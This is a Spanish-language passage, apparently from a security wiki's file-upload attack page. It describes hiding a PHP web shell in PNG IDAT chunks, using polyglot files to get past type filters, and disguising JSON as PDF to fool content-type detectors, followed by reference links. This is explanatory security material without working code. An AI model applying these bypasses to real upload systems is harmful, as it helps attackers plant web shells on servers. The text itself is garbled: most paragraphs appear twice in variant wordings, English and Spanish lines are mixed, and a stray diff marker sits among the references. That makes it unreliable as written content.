Incrustar un PHP shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y resamplear imágenes, respectivamente. La capacidad del PHP shell incrustado para permanecer intacto frente a estas operaciones es una ventaja importante para ciertos casos de uso.
Incrustar un PHP Shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` y `imagecopyresampled` de PHP-GD son especialmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y resamplear imágenes, respectivamente. La capacidad del PHP Shell incrustado de permanecer intacto ante estas operaciones es una ventaja significativa para ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se encuentra en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
## Archivos Polyglot
Polyglot files funcionan como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo llamativo es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como RAR. Estos archivos no se limitan a esa combinación; también son posibles emparejamientos como GIF y JS o PPT y JS.
Los archivos polyglot funcionan como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a ese emparejamiento; combinaciones como GIF y JS o PPT y JS también son factibles.
La utilidad principal de los polyglot files radica en su capacidad para eludir medidas de seguridad que inspeccionan archivos según su tipo. La práctica común en varias aplicaciones consiste en permitir solo ciertos tipos de archivo para upload —como JPEG, GIF o DOC— para mitigar el riesgo de formatos potencialmente peligrosos (p. ej., JS, PHP o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de varios tipos de archivo, puede evadir esas restricciones de forma sigilosa.
La utilidad principal de los archivos polyglot reside en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. Es práctica habitual en diversas aplicaciones permitir solo ciertos tipos de archivo para la subida—como JPEG, GIF o DOC—para mitigar el riesgo de formatos potencialmente dañinos (p. ej., JS, PHP o archivos Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de varios tipos de archivo, puede pasar sigilosamente estas restricciones.
A pesar de su adaptabilidad, los polyglots encuentran limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un PHAR (PHp ARchive) y un JPEG, el éxito de su upload puede depender de las políticas de extensión del sistema. Si la plataforma es estricta respecto a las extensiones permitidas, la mera dualidad estructural del polyglot puede no ser suficiente para garantizar su upload.
A pesar de su adaptabilidad, los polyglots encuentran limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su subida podría depender de las políticas de extensión de archivo de la plataforma. Si el sistema es estricto con las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su subida.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Subir JSON válidos como si fueran PDF
Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, fingiendo que es un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, falsificando un archivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Mientras los magic bytes `%PDF` estén dentro de los primeros 1024 bytes es válido (ver ejemplo en el post)
- **`pdflib` library**: Añadir un formato PDF falso dentro de un campo del JSON para que la library piense que es un pdf (ver ejemplo en el post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como json y luego dentro del JSON pon la parte inicial de un PDF real y pensará que es un PDF
- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (obtener ejemplo del post)
- **`pdflib` library**: Añadir un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (obtener ejemplo del post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON mayor que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, pon la parte inicial de un PDF real y creerá que es un PDF
## References
## Referencias
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -358,6 +399,9 @@ Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido inc
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)